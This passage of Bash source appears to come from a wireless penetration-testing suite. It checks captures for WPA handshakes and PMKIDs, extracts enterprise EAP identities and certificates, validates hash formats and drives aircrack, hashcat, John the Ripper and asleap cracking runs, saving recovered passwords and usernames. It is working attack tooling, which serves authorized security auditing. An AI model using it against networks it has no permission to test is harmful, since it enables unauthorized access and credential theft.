	rm -rf "${tmpdir}${mana_cap_file}" > /dev/null 2>&1
	rm -rf "${tmpdir}${mana_tmp_file}" > /dev/null 2>&1

	while true; do
		if grep -Eqim1 '^MANA: Captured a WPA/2 handshake from:' "${tmpdir}${hostapd_mana_log}"; then
			if grep -Eqim1 '^MANA WPA2 HASHCAT' "${tmpdir}${hostapd_mana_log}"; then
				mana_hash=$(grep -Eim1 '^MANA WPA2 HASHCAT' "${tmpdir}${hostapd_mana_log}" | awk -F "\|" '{print $2}' 2> /dev/null | tr -d " ")
			else
				hcxhash2cap --hccapx="${tmpdir}${hostapd_mana_out}" -c "${tmpdir}${mana_cap_file}" > /dev/null
				hcxpcapngtool "${tmpdir}${mana_cap_file}" -o "${tmpdir}${mana_tmp_file}" > /dev/null
				mana_hash=$(head -n1 "${tmpdir}${mana_tmp_file}")
			fi
			break
		fi

		if ! ps -p "${hostapd_mana_pid}" > /dev/null 2>&1; then
			break
		fi

		sleep 3
	done
}

#Validate the file to be cleaned
function check_valid_file_to_clean() {

	debug_print

	nets_from_file=$(echo "1" | timeout -s SIGTERM 3 aircrack-ng "${1}" 2> /dev/null | grep -E "WPA|WEP" | awk '{ saved = $1; $1 = ""; print substr($0, 2) }')

	if [ "${nets_from_file}" = "" ]; then
		return 1
	fi

	option_counter=0
	for item in ${nets_from_file}; do
		if [[ ${item} =~ ^[0-9a-fA-F]{2}: ]]; then
			option_counter=$((option_counter + 1))
		fi
	done

	if [ "${option_counter}" -le 1 ]; then
		return 1
	fi

	handshakefilesize=$(wc -c "${filetoclean}" 2> /dev/null | awk -F " " '{print$1}')
	if [ "${handshakefilesize}" -le 1024 ]; then
		return 1
	fi

	if ! echo "1" | timeout -s SIGTERM 3 aircrack-ng "${1}" 2> /dev/null | grep -E "1 handshake" > /dev/null; then
		return 1
	fi

	return 0
}

#Check if an essid is present on the mdk3/mdk4 log file to know if it is decloaked for that bssid
function check_essid_in_mdk_decloak_log() {

	debug_print

	local regexp
	if [ "${AIRGEDDON_MDK_VERSION}" = "mdk3" ]; then
		if ! grep -q "End of SSID list reached" "${tmpdir}decloak.log"; then
			regexp='SSID:[[:blank:]]\"([^\"]+)\"'
			[[ $(grep "${bssid}" "${tmpdir}decloak.log") =~ ${regexp} ]] && essid="${BASH_REMATCH[1]}"
		fi
	else
		regexp="Probe[[:blank:]]Response[[:blank:]]from[[:blank:]]target[[:blank:]]AP[[:blank:]]with[[:blank:]]SSID[[:blank:]]+([^[:blank:]]+.*[^[:blank:]]|[^[:blank:]])"
		[[ $(grep -m 1 "Probe Response from target AP with SSID" "${tmpdir}decloak.log") =~ ${regexp} ]] && essid="${BASH_REMATCH[1]}"
	fi

	if [ "${essid}" = "(Hidden Network)" ]; then
		return 1
	else
		return 0
	fi
}

#Check if an essid is present on a capture file to know if it is decloaked for that bssid
function check_essid_in_capture_file() {

	debug_print

	while IFS=, read -r exp_bssid _ _ _ _ _ _ _ _ _ _ _ _ exp_essid _; do

		chars_bssid=${#exp_bssid}
		if [ "${chars_bssid}" -ge 17 ]; then
			if [ "${exp_bssid}" = "${bssid}" ]; then
					exp_essid="${exp_essid#"${exp_essid%%[![:space:]]*}"}"
					exp_essid="${exp_essid%"${exp_essid##*[![:space:]]}"}"
				if [[ -n "${exp_essid}" ]] && [[ ${exp_essid} != "" ]]; then
					essid="${exp_essid}"
					break
				fi
			fi
		fi
	done < "${tmpdir}decloak-01.csv"

	if [ "${essid}" = "(Hidden Network)" ]; then
		return 1
	else
		return 0
	fi
}

#Check if enterprise certificates are present on a capture file
#shellcheck disable=SC2059
function check_certificates_in_capture_file() {

	debug_print

	local cert

	while read -r hexcert; do
		cert=$(printf "${hexcert}" 2> /dev/null | openssl x509 -inform DER -outform PEM 2> /dev/null)
		[[ -z "${cert}" ]] && continue
		certificates_array+=("$cert")
	done < <(tshark -r "${tmpdir}identities_certificates"*.cap -Y "(eap && wlan.addr == ${bssid} && tls.handshake.certificate)" -T fields -e tls.handshake.certificate 2> /dev/null | sort -u | tr -d ':' | sed 's/../\\x&/g')

	if [ "${#certificates_array[@]}" -eq 0 ]; then
		return 1
	else
		return 0
	fi
}

#Check if enterprise identities are present on a capture file
function check_identities_in_capture_file() {

	debug_print

	readarray -t identities_array < <(tshark -r "${tmpdir}identities_certificates"*.cap -Y "(eap && wlan.addr == ${bssid} && eap.identity)" -T fields -e eap.identity 2> /dev/null | sort -u)

	if [ "${#identities_array[@]}" -eq 0 ]; then
		return 1
	else
		return 0
	fi
}

#Check if a bssid is present on a capture file to know if there is a Handshake/PMKID with that bssid
function check_bssid_in_captured_file() {

	debug_print

	local nets_from_file
	nets_from_file=$(echo "1" | timeout -s SIGTERM 3 aircrack-ng "${1}" 2> /dev/null | grep -E "WPA \([1-9][0-9]? handshake" | awk '{ saved = $1; $1 = ""; print substr($0, 2) }')

	if [ "${3}" = "also_pmkid" ]; then
		get_aircrack_version
		if compare_floats_greater_or_equal "${aircrack_version}" "${aircrack_pmkid_version}"; then
			local nets_from_file2
			nets_from_file2=$(echo "1" | timeout -s SIGTERM 3 aircrack-ng "${1}" 2> /dev/null | grep -E "WPA \([1-9][0-9]? handshake|handshake, with PMKID" | awk '{ saved = $1; $1 = ""; print substr($0, 2) }')
		fi
	fi

	if [ "${2}" != "silent" ]; then
		if [ ! -f "${1}" ]; then
			echo
			language_strings "${language}" 161 "red"
			language_strings "${language}" 115 "read"
			return 1
		fi

		if [[ "${2}" = "showing_msgs_checking" ]] && [[ "${3}" = "only_handshake" ]]; then
			if [ "${nets_from_file}" = "" ]; then
				echo
				language_strings "${language}" 216 "red"
				language_strings "${language}" 115 "read"
				return 1
			fi
		fi

		if [[ "${2}" = "showing_msgs_checking" ]] && [[ "${3}" = "also_pmkid" ]]; then
			if [[ "${nets_from_file}" = "" ]] && [[ "${nets_from_file2}" = "" ]]; then
				echo
				language_strings "${language}" 682 "red"
				language_strings "${language}" 115 "read"
				return 1
			fi
		fi
	fi

	declare -A bssids_detected
	declare -A bssids_detected_pmkid

	local option_counter
	option_counter=0
	for item in ${nets_from_file}; do
		if [[ ${item} =~ ^[0-9a-fA-F]{2}: ]]; then
			option_counter=$((option_counter + 1))
			bssids_detected[${option_counter}]=${item}
		fi
	done

	if [[ "${3}" = "also_pmkid" ]] && [[ -n "${nets_from_file2}" ]]; then
		option_counter=0
		for item in ${nets_from_file2}; do
			if [[ ${item} =~ ^[0-9a-fA-F]{2}: ]]; then
				option_counter=$((option_counter + 1))
				bssids_detected_pmkid[${option_counter}]=${item}
			fi
		done
	fi

	local handshake_captured=0
	local pmkid_captured=0

	for targetbssid in "${bssids_detected[@]}"; do
		if [ "${bssid}" = "${targetbssid}" ]; then
			handshake_captured=1
			break
		fi
	done

	if [[ "${3}" = "also_pmkid" ]] && [[ -n "${nets_from_file2}" ]]; then
		for targetbssid in "${bssids_detected_pmkid[@]}"; do
			if [ "${bssid}" = "${targetbssid}" ]; then
				pmkid_captured=1
				break
			fi
		done
	fi

	if [[ "${handshake_captured}" = "1" ]] || [[ "${pmkid_captured}" = "1" ]]; then
		if [[ "${2}" = "showing_msgs_capturing" ]] || [[ "${2}" = "showing_msgs_checking" ]]; then
			if ! is_wpa2_handshake "${1}" "${bssid}" > /dev/null 2>&1; then
				echo
				language_strings "${language}" 700 "red"
				language_strings "${language}" 115 "read"
				return 2
			fi
		fi
	fi

	if [[ "${handshake_captured}" = "1" ]] && [[ "${pmkid_captured}" = "0" ]]; then
		if [ "${2}" = "showing_msgs_checking" ]; then
			language_strings "${language}" 322 "yellow"
		fi
		return 0
	elif [[ "${handshake_captured}" = "0" ]] && [[ "${pmkid_captured}" = "1" ]]; then
		if [[ "${2}" = "showing_msgs_capturing" ]] && [[ "${3}" = "also_pmkid" ]]; then
			echo
			language_strings "${language}" 680 "yellow"
		fi
		if [[ "${2}" = "showing_msgs_checking" ]] && [[ "${3}" = "also_pmkid" ]]; then
			echo
			language_strings "${language}" 683 "yellow"
		fi
		return 0
	elif [[ "${handshake_captured}" = "1" ]] && [[ "${pmkid_captured}" = "1" ]]; then
		if [[ "${2}" = "showing_msgs_capturing" ]] && [[ "${3}" = "also_pmkid" ]]; then
			echo
			language_strings "${language}" 681 "yellow"
		fi
		if [[ "${2}" = "showing_msgs_checking" ]] && [[ "${3}" = "also_pmkid" ]]; then
			echo
			language_strings "${language}" 683 "yellow"
		fi
		return 0
	else
		if [[ "${2}" = "showing_msgs_checking" ]] && [[ "${3}" = "only_handshake" ]]; then
			echo
			language_strings "${language}" 323 "red"
			language_strings "${language}" 115 "read"
		fi
		if [[ "${2}" = "showing_msgs_checking" ]] && [[ "${3}" = "also_pmkid" ]]; then
			echo
			language_strings "${language}" 323 "red"
			language_strings "${language}" 115 "read"
		fi
		return 1
	fi
}

#Set the target vars to a bssid selecting them from a capture file which has a Handshake/PMKID
function select_wpa_bssid_target_from_captured_file() {

	debug_print

	get_aircrack_version

	if compare_floats_greater_than "${aircrack_pmkid_version}" "${aircrack_version}"; then
		echo
		language_strings "${language}" 667 "yellow"
		language_strings "${language}" 115 "read"
	fi

	if ! head -c4 "${1}" 2> /dev/null | grep -Eq "^$(printf '\xd4\xc3\xb2\xa1')"; then
		echo
		language_strings "${language}" 796 "red"
		language_strings "${language}" 115 "read"
		return 1
	fi

	handshake_detected_for_offline_decryption=0
	pmkid_detected_for_offline_decryption=0

	if echo "1" | timeout -s SIGTERM 3 aircrack-ng "${1}" 2> /dev/null | grep -Eq "WPA \([1-9][0-9]? handshake"; then
		handshake_detected_for_offline_decryption=1
		if echo "1" | timeout -s SIGTERM 3 aircrack-ng "${1}" 2> /dev/null | grep -Eq "handshake, with PMKID"; then
			pmkid_detected_for_offline_decryption=1
		fi
	elif echo "1" | timeout -s SIGTERM 3 aircrack-ng "${1}" 2> /dev/null | grep -Eq "handshake, with PMKID"; then
		pmkid_detected_for_offline_decryption=1
	fi

	local nets_from_file

	echo
	if [[ "${handshake_detected_for_offline_decryption}" -eq 0 ]] && [[ "${pmkid_detected_for_offline_decryption}" -eq 0 ]]; then
		language_strings "${language}" 216 "red"
		language_strings "${language}" 115 "read"
		return 1
	elif [[ "${handshake_detected_for_offline_decryption}" -eq 1 ]] && [[ "${pmkid_detected_for_offline_decryption}" -eq 0 ]]; then
		nets_from_file=$(echo "1" | timeout -s SIGTERM 3 aircrack-ng "${1}" 2> /dev/null | grep -E "WPA \([1-9][0-9]? handshake" | awk '{ saved = $1; $1 = ""; print substr($0, 2) }')
		language_strings "${language}" 668 "yellow"
	elif [[ "${handshake_detected_for_offline_decryption}" -eq 0 ]] && [[ "${pmkid_detected_for_offline_decryption}" -eq 1 ]]; then
		nets_from_file=$(echo "1" | timeout -s SIGTERM 3 aircrack-ng "${1}" 2> /dev/null | grep -E "handshake, with PMKID" | awk '{ saved = $1; $1 = ""; print substr($0, 2) }')
		language_strings "${language}" 669 "yellow"
	elif [[ "${handshake_detected_for_offline_decryption}" -eq 1 ]] && [[ "${pmkid_detected_for_offline_decryption}" -eq 1 ]]; then
		nets_from_file=$(echo "1" | timeout -s SIGTERM 3 aircrack-ng "${1}" 2> /dev/null | grep -E "WPA \([1-9][0-9]? handshake|handshake, with PMKID" | awk '{ saved = $1; $1 = ""; print substr($0, 2) }')
		language_strings "${language}" 670 "yellow"
	fi
	language_strings "${language}" 115 "read"

	echo
	declare -A bssids_detected
	option_counter=0
	for item in ${nets_from_file}; do
		if [[ ${item} =~ ^[0-9a-fA-F]{2}: ]]; then
			option_counter=$((option_counter + 1))
			bssids_detected[${option_counter}]=${item}
		fi
	done

	for targetbssid in "${bssids_detected[@]}"; do
		if [ "${bssid}" = "${targetbssid}" ]; then
			language_strings "${language}" 192 "blue"
			ask_yesno 193 "yes"

			if [ "${yesno}" = "y" ]; then
				bssid=${targetbssid}
				enterprise_network_selected=0
				personal_network_selected=1
				set_personal_enterprise_text
				return 0
			fi
			break
		fi
	done

	bssid_autoselected=0
	if [ "${option_counter}" -gt 1 ]; then
		option_counter=0
		for item in ${nets_from_file}; do
			if [[ ${item} =~ ^[0-9a-fA-F]{2}: ]]; then

				option_counter=$((option_counter + 1))

				if [ "${option_counter}" -lt 10 ]; then
					space=" "
				else
					space=""
				fi

				echo -n "${option_counter}.${space}${item}"
			elif [[ ${item} =~ \)$ ]]; then
				echo -en "${item}\r\n"
			else
				echo -en " ${item} "
			fi
		done
		print_hint

		target_network_on_file=0
		while [[ ! ${target_network_on_file} =~ ^[[:digit:]]+$ ]] || ((target_network_on_file < 1 || target_network_on_file > option_counter)); do
			echo
			language_strings "${language}" 3 "green"
			read -rp "> " target_network_on_file
		done

	else
		target_network_on_file=1
		bssid_autoselected=1
	fi

	bssid=${bssids_detected[${target_network_on_file}]}
	enterprise_network_selected=0
	personal_network_selected=1
	set_personal_enterprise_text

	if [ "${bssid_autoselected}" -eq 1 ]; then
		language_strings "${language}" 217 "blue"
	fi

	return 0
}

#Validate if given file has a valid enterprise john the ripper format
function validate_enterprise_jtr_file() {

	debug_print

	echo
	readarray -t JTR_LINES_TO_VALIDATE < <(cat "${1}" 2> /dev/null)

	for item in "${JTR_LINES_TO_VALIDATE[@]}"; do
		if [[ ! "${item}" =~ ^.+:\$NETNTLM\$[0-9a-fA-F]+\$[0-9a-fA-F]+ ]]; then
			language_strings "${language}" 607 "red"
			language_strings "${language}" 115 "read"
			return 1
		fi
	done

	language_strings "${language}" 608 "blue"
	language_strings "${language}" 115 "read"
	return 0
}

# Check if hashcat hash are correct in a file (first line)
function check_hashcat_hashes_format() {

	debug_print

	first_hash_line=""
	local plain_text_hash_matched=0
	local deprecated_hash_matched=0

	if [ ! -s "${1}" ]; then
		echo
		language_strings "${language}" 676 "red"
		language_strings "${language}" 115 "read"
		return 1
	fi

	if hcxhashtool --info=stdout --hccapx-in="${1}" > /dev/null 2>&1; then
		deprecated_hash_matched=1
	else
		IFS= read -r first_hash_line < "${1}"

		if [[ -z "${first_hash_line}" ]]; then
			echo
			language_strings "${language}" 676 "red"
			language_strings "${language}" 115 "read"
			return 1
		fi
	fi

	if [[ "${first_hash_line}" =~ ^WPA\*[0-9]{2}\*[0-9a-fA-F]{32}\*([0-9a-fA-F]{12}\*){2}[0-9a-fA-F]{2,64}\*.+$ ]]; then
		plain_text_hash_matched=1
	fi

	if [ "${plain_text_hash_matched}" -eq 1 ]; then
		echo
		language_strings "${language}" 675 "blue"
		language_strings "${language}" 115 "read"
		return 0
	elif [ "${deprecated_hash_matched}" -eq 1 ]; then
		echo
		language_strings "${language}" 675 "blue"
		echo
		language_strings "${language}" 798 "yellow"
		language_strings "${language}" 115 "read"

		if convert_legacy_hashcat_hash_to_new "${1}"; then
			echo
			language_strings "${language}" 799 "blue"
			language_strings "${language}" 115 "read"
			return 0
		else
			echo
			language_strings "${language}" 417 "red"
			language_strings "${language}" 115 "read"
			return 1
		fi
	else
		echo
		language_strings "${language}" 676 "red"
		language_strings "${language}" 115 "read"
		return 1
	fi
}

#Convert legacy -m 2500 hashcat format into -m 22000 hashcat format
function convert_legacy_hashcat_hash_to_new() {

	debug_print

	if ! first_hash_line="$(hcxhashtool --hccapx-in="${1}" --info=stdout 2>/dev/null | awk -F': ' 'BEGIN{found=0} /^HASHLINE/ { s=$2; sub(/\r$/,"", s); print s; found=1; exit } END{ exit (found ? 0 : 1) }')" || [[ "${first_hash_line}" != WPA\*0[12]* ]]; then
		return 1
	fi

	return 0
}

#Validate if given file has a valid enterprise hashcat format
function validate_enterprise_hashcat_file() {

	debug_print

	echo
	readarray -t HASHCAT_LINES_TO_VALIDATE < <(cat "${1}" 2> /dev/null)

	for item in "${HASHCAT_LINES_TO_VALIDATE[@]}"; do
		if [[ ! "${item}" =~ ^(.+)::::(.+):(.+)$ ]]; then
			language_strings "${language}" 601 "red"
			language_strings "${language}" 115 "read"
			return 1
		fi
	done

	language_strings "${language}" 602 "blue"
	language_strings "${language}" 115 "read"
	return 0
}

#Validate and ask for the different parameters used in an enterprise asleap dictionary based attack
function enterprise_asleap_dictionary_attack_option() {

	debug_print

	manage_asking_for_challenge_response
	manage_asking_for_dictionary_file

	echo
	language_strings "${language}" 190 "yellow"
	language_strings "${language}" 115 "read"

	echo
	exec_asleap_attack "offline_menu"
	echo
	manage_asleap_pot "offline_menu"
}

#Validate and ask for the different parameters used in an aircrack dictionary based attack
function aircrack_dictionary_attack_option() {

	debug_print

	manage_asking_for_captured_hashes_file "${1}" "aircrack"

	if ! select_wpa_bssid_target_from_captured_file "${enteredpath}"; then
		return
	fi

	manage_asking_for_dictionary_file

	echo
	language_strings "${language}" 190 "yellow"
	language_strings "${language}" 115 "read"
	exec_aircrack_dictionary_attack
	manage_aircrack_pot
}

#Validate and ask for the different parameters used in an aircrack bruteforce based attack
function aircrack_bruteforce_attack_option() {

	debug_print

	manage_asking_for_captured_hashes_file "${1}" "aircrack"

	if ! select_wpa_bssid_target_from_captured_file "${enteredpath}"; then
		return
	fi

	set_minlength_and_maxlength "${1}"

	charset_option=0
	while [[ ! ${charset_option} =~ ^[[:digit:]]+$ ]] || ((charset_option < 1 || charset_option > 11)); do
		set_charset "aircrack"
	done

	echo
	language_strings "${language}" 209 "blue"
	echo
	language_strings "${language}" 190 "yellow"
	language_strings "${language}" 115 "read"
	exec_aircrack_bruteforce_attack
	manage_aircrack_pot
}

#Validate and ask for the different parameters used in a john the ripper dictionary based attack
function enterprise_jtr_dictionary_attack_option() {

	debug_print

	manage_asking_for_captured_hashes_file "${1}" "jtr"

	if ! validate_enterprise_jtr_file "${jtrenterpriseenteredpath}"; then
		return
	fi

	manage_asking_for_dictionary_file

	echo
	language_strings "${language}" 190 "yellow"
	language_strings "${language}" 115 "read"
	exec_jtr_dictionary_attack
	manage_jtr_pot
}

#Validate and ask for the different parameters used in a john the ripper bruteforce based attack
function enterprise_jtr_bruteforce_attack_option() {

	debug_print

	manage_asking_for_captured_hashes_file "${1}" "jtr"

	if ! validate_enterprise_jtr_file "${jtrenterpriseenteredpath}"; then
		return
	fi

	set_minlength_and_maxlength "enterprise"

	charset_option=0
	while [[ ! ${charset_option} =~ ^[[:digit:]]+$ ]] || ((charset_option < 1 || charset_option > 11)); do
		set_charset "jtr"
	done

	echo
	language_strings "${language}" 209 "blue"
	echo
	language_strings "${language}" 190 "yellow"
	language_strings "${language}" 115 "read"
	exec_jtr_bruteforce_attack
	manage_jtr_pot
}

#Validate and ask for the different parameters used in a hashcat dictionary based attack over capture file
function hashcat_dictionary_attack_option() {

	debug_print

	manage_asking_for_captured_hashes_file "${1}" "hashcat"

	if [ "${1}" = "personal_handshake_pmkid_capture" ]; then
		if ! select_wpa_bssid_target_from_captured_file "${enteredpath}"; then
			return
		fi

		if ! convert_cap_to_hashcat_format; then
			return
		fi

		if ! validate_hashcat_pmkid_version && [[ "${handshake_detected_for_offline_decryption}" -eq 0 ]] && [[ "${pmkid_detected_for_offline_decryption}" -eq 1 ]]; then
			echo
			language_strings "${language}" 679 "red"
			language_strings "${language}" 115 "read"
			return
		fi
	elif [ "${1}" = "personal_handshake_pmkid_hash" ]; then

		echo
		language_strings "${language}" 797 "yellow"

		if ! check_hashcat_hashes_format "${hashcathashfileenteredpath}"; then
			return
		else
			echo "${first_hash_line}" > "${tmpdir}${hashcat_tmp_file}"
		fi
	else
		if ! validate_enterprise_hashcat_file "${hashcatenterpriseenteredpath}"; then
			return
		fi
	fi

	manage_asking_for_dictionary_file

	echo
	language_strings "${language}" 190 "yellow"
	language_strings "${language}" 115 "read"
	exec_hashcat_dictionary_attack "${1}"
	manage_hashcat_pot "${1}"
}

#Validate and ask for the different parameters used in a hashcat bruteforce based attack
function hashcat_bruteforce_attack_option() {

	debug_print

	manage_asking_for_captured_hashes_file "${1}" "hashcat"

	if [ "${1}" = "personal_handshake_pmkid_capture" ]; then
		if ! select_wpa_bssid_target_from_captured_file "${enteredpath}"; then
			return
		fi

		if ! convert_cap_to_hashcat_format; then
			return
		fi

		if ! validate_hashcat_pmkid_version && [[ "${handshake_detected_for_offline_decryption}" -eq 0 ]] && [[ "${pmkid_detected_for_offline_decryption}" -eq 1 ]]; then
			echo
			language_strings "${language}" 679 "red"
			language_strings "${language}" 115 "read"
			return
		fi
	elif [ "${1}" = "personal_handshake_pmkid_hash" ]; then

		echo
		language_strings "${language}" 797 "yellow"

		if ! check_hashcat_hashes_format "${hashcathashfileenteredpath}"; then
			return
		else
			echo "${first_hash_line}" > "${tmpdir}${hashcat_tmp_file}"
		fi
	else
		if ! validate_enterprise_hashcat_file "${hashcatenterpriseenteredpath}"; then
			return
		fi
	fi

	set_minlength_and_maxlength "${1}"

	charset_option=0
	while [[ ! ${charset_option} =~ ^[[:digit:]]+$ ]] || ((charset_option < 1 || charset_option > 11)); do
		set_charset "hashcat"
	done

	echo
	language_strings "${language}" 209 "blue"
	echo
	language_strings "${language}" 190 "yellow"
	language_strings "${language}" 115 "read"
	exec_hashcat_bruteforce_attack "${1}"
	manage_hashcat_pot "${1}"
}

#Validate and ask for the different parameters used in a hashcat rule based attack
function hashcat_rulebased_attack_option() {

	debug_print

	manage_asking_for_captured_hashes_file "${1}" "hashcat"

	if [ "${1}" = "personal_handshake_pmkid_capture" ]; then
		if ! select_wpa_bssid_target_from_captured_file "${enteredpath}"; then
			return
		fi

		if ! convert_cap_to_hashcat_format; then
			return
		fi

		if ! validate_hashcat_pmkid_version && [[ "${handshake_detected_for_offline_decryption}" -eq 0 ]] && [[ "${pmkid_detected_for_offline_decryption}" -eq 1 ]]; then
			echo
			language_strings "${language}" 679 "red"
			language_strings "${language}" 115 "read"
			return
		fi
	elif [ "${1}" = "personal_handshake_pmkid_hash" ]; then

		echo
		language_strings "${language}" 797 "yellow"

		if ! check_hashcat_hashes_format "${hashcathashfileenteredpath}"; then
			return
		else
			echo "${first_hash_line}" > "${tmpdir}${hashcat_tmp_file}"
		fi
	else
		if ! validate_enterprise_hashcat_file "${hashcatenterpriseenteredpath}"; then
			return
		fi
	fi

	manage_asking_for_dictionary_file
	manage_asking_for_rule_file

	echo
	language_strings "${language}" 190 "yellow"
	language_strings "${language}" 115 "read"
	exec_hashcat_rulebased_attack "${1}"
	manage_hashcat_pot "${1}"
}

#Check if the password was decrypted using hashcat and manage to save it on a file
function manage_hashcat_pot() {

	debug_print

	hashcat_output=$(cat "${tmpdir}${hashcat_output_file}")

	pass_decrypted_by_hashcat=0
	if compare_floats_greater_or_equal "${hashcat_version}" "${hashcat3_version}"; then
		local regexp="Status\.+:[[:space:]]Cracked"
		if [[ ${hashcat_output} =~ ${regexp} ]]; then
			pass_decrypted_by_hashcat=1
		else
			if [ "${1}" = "personal_handshake_pmkid_capture" ]; then
				if compare_floats_greater_or_equal "${hashcat_version}" "${hashcat_hccapx_version}"; then
					if [ -f "${tmpdir}${hashcat_pot_tmp}" ]; then
						pass_decrypted_by_hashcat=1
					fi
				fi
			fi
		fi
	else
		local regexp="All hashes have been recovered"
		if [[ ${hashcat_output} =~ ${regexp} ]]; then
			pass_decrypted_by_hashcat=1
		fi
	fi

	if [ "${pass_decrypted_by_hashcat}" -eq 1 ]; then

		echo
		language_strings "${language}" 234 "yellow"
		ask_yesno 235 "yes"
		if [ "${yesno}" = "y" ]; then
			hashcat_potpath="${default_save_path}"

			local multiple_users=0
			if [ "${1}" = "personal_handshake_pmkid_capture" ]; then
				hashcatpot_filename=$(sanitize_path "hashcat-${bssid}.txt")
				[[ $(cat "${tmpdir}${hashcat_pot_tmp}") =~ .+:(.+)$ ]] && hashcat_key="${BASH_REMATCH[1]}"
			elif [ "${1}" = "personal_handshake_pmkid_hash" ]; then
				hashcatpot_filename=$(sanitize_path "hashcat-decrypted-hash.txt")
				[[ $(cat "${tmpdir}${hashcat_pot_tmp}") =~ .+:(.+)$ ]] && hashcat_key="${BASH_REMATCH[1]}"
			else
				if [[ $(wc -l "${tmpdir}${hashcat_pot_tmp}" 2> /dev/null | awk '{print $1}') -gt 1 ]]; then
					multiple_users=1
					hashcatpot_filename=$(sanitize_path "hashcat-enterprise_user-multiple_users.txt")
					local enterprise_users=()
					local hashcat_keys=()
					readarray -t DECRYPTED_MULTIPLE_USER_PASS < <(uniq "${tmpdir}${hashcat_pot_tmp}" | sort 2> /dev/null)
					for item in "${DECRYPTED_MULTIPLE_USER_PASS[@]}"; do
						[[ "${item}" =~ ^([^:]+:?[^:]+) ]] && enterprise_users+=("${BASH_REMATCH[1]}")
						[[ "${item}" =~ .+:(.+)$ ]] && hashcat_keys+=("${BASH_REMATCH[1]}")
					done
				else
					local enterprise_user
					[[ $(cat "${hashcatenterpriseenteredpath}") =~ ^([^:]+:?[^:]+) ]] && enterprise_user="${BASH_REMATCH[1]}"
					hashcatpot_filename=$(sanitize_path "hashcat-enterprise_user-${enterprise_user}.txt")
					[[ $(cat "${tmpdir}${hashcat_pot_tmp}") =~ .+:(.+)$ ]] && hashcat_key="${BASH_REMATCH[1]}"
				fi
			fi
			hashcat_potpath="${hashcat_potpath}${hashcatpot_filename}"

			validpath=1
			while [[ "${validpath}" != "0" ]]; do
				read_path "hashcatpot"
			done

			{
			echo ""
			date +%Y-%m-%d
			echo "${hashcat_texts[${language},1]}"
			echo ""
			} >> "${potenteredpath}"

			if [ "${1}" = "personal_handshake_pmkid_capture" ]; then
				{
				echo "BSSID: ${bssid}"
				} >> "${potenteredpath}"
			elif [ "${1}" = "personal_handshake_pmkid_hash" ]; then
				{
				echo "Hash: ${first_hash_line}"
				} >> "${potenteredpath}"
			elif [ "${1}" = "enterprise" ]; then
				if [ "${multiple_users}" -eq 1 ]; then
					{
					echo "${hashcat_texts[${language},0]}:"
					} >> "${potenteredpath}"
				else
					{
					echo "${hashcat_texts[${language},2]}: ${enterprise_user}"
					} >> "${potenteredpath}"
				fi
			fi

			if [ "${multiple_users}" -eq 1 ]; then
				{
				echo ""
				echo "---------------"
				echo ""
				} >> "${potenteredpath}"

				for ((x=0; x<${#enterprise_users[@]}; x++)); do
					{
					echo "${enterprise_users[${x}]} / ${hashcat_keys[${x}]}"
					} >> "${potenteredpath}"
				done
			else
				{
				echo ""
				echo "---------------"
				echo ""
				echo "${hashcat_key}"
				} >> "${potenteredpath}"
			fi

			add_contributing_footer_to_file "${potenteredpath}"

			echo
			language_strings "${language}" 236 "blue"
			language_strings "${language}" 115 "read"
		fi
	fi
}

#Check if the password was decrypted using john the ripper and manage to save it on a file
function manage_jtr_pot() {

	debug_print

	jtr_pot=$(cat "${tmpdir}${jtr_pot_tmp}")

	pass_decrypted_by_jtr=0

	if [[ ${jtr_pot} =~ ^\$NETNTLM\$[^:]+:.+$ ]]; then
		pass_decrypted_by_jtr=1
	fi

	if [ "${pass_decrypted_by_jtr}" -eq 1 ]; then

		echo
		language_strings "${language}" 234 "yellow"
		ask_yesno 235 "yes"
		if [ "${yesno}" = "y" ]; then
			jtr_potpath="${default_save_path}"

			local multiple_users=0

			if [[ $(wc -l "${tmpdir}${jtr_pot_tmp}" 2> /dev/null | awk '{print $1}') -gt 1 ]]; then
				multiple_users=1
				jtrpot_filename=$(sanitize_path "jtr-enterprise_user-multiple_users.txt")
				local enterprise_users=()
				local jtr_keys=()
				readarray -t DECRYPTED_MULTIPLE_PASS < <(uniq "${tmpdir}${jtr_pot_tmp}" | sort 2> /dev/null)
				for item in "${DECRYPTED_MULTIPLE_PASS[@]}"; do
					[[ "${item}" =~ ^\$NETNTLM\$[^:]+:(.+)$ ]] && jtr_keys+=("${BASH_REMATCH[1]}")
					[[ $(grep -E "^${BASH_REMATCH[1]}" "${tmpdir}${jtr_output_file}") =~ ^"${BASH_REMATCH[1]}"[[:blank:]]+\((.+)\) ]] && enterprise_users+=("${BASH_REMATCH[1]}")
				done
			else
				local enterprise_user
				[[ $(cat "${jtrenterpriseenteredpath}") =~ ^([^:\$]+:?[^:\$]+) ]] && enterprise_user="${BASH_REMATCH[1]}"
				jtrpot_filename=$(sanitize_path "jtr-enterprise_user-${enterprise_user}.txt")
				[[ "${jtr_pot}" =~ ^\$NETNTLM\$[^:]+:(.+)$ ]] && jtr_key="${BASH_REMATCH[1]}"
			fi
			jtr_potpath="${jtr_potpath}${jtrpot_filename}"

			validpath=1
			while [[ "${validpath}" != "0" ]]; do
				read_path "jtrpot"
			done

			{
			echo ""
			date +%Y-%m-%d
			echo "${jtr_texts[${language},1]}"
			echo ""
			} >> "${jtrpotenteredpath}"

			if [ "${multiple_users}" -eq 1 ]; then
				{
				echo "${jtr_texts[${language},0]}"
				} >> "${jtrpotenteredpath}"
			else
				{
				echo "${jtr_texts[${language},2]}: ${enterprise_user}"
				} >> "${jtrpotenteredpath}"
			fi

			if [ "${multiple_users}" -eq 1 ]; then
				{
				echo ""
				echo "---------------"
				echo ""
				} >> "${jtrpotenteredpath}"

				for ((x=0; x<${#enterprise_users[@]}; x++)); do
					{
					echo "${enterprise_users[${x}]} / ${jtr_keys[${x}]}"
					} >> "${jtrpotenteredpath}"
				done
			else
				{
				echo ""
				echo "---------------"
				echo ""
				echo "${jtr_key}"
				} >> "${jtrpotenteredpath}"
			fi

			add_contributing_footer_to_file "${jtrpotenteredpath}"

			echo
			language_strings "${language}" 547 "blue"
			language_strings "${language}" 115 "read"
		fi
	fi
}

#Check if the password was decrypted using aircrack and manage to save it on a file
function manage_aircrack_pot() {

	debug_print

	pass_decrypted_by_aircrack=0
	if [ -f "${tmpdir}${aircrack_pot_tmp}" ]; then
		pass_decrypted_by_aircrack=1
	fi

	if [ "${pass_decrypted_by_aircrack}" -eq 1 ]; then

		echo
		language_strings "${language}" 234 "yellow"
		ask_yesno 235 "yes"
		if [ "${yesno}" = "y" ]; then
			aircrack_potpath="${default_save_path}"
			aircrackpot_filename=$(sanitize_path "aircrack-${bssid}.txt")
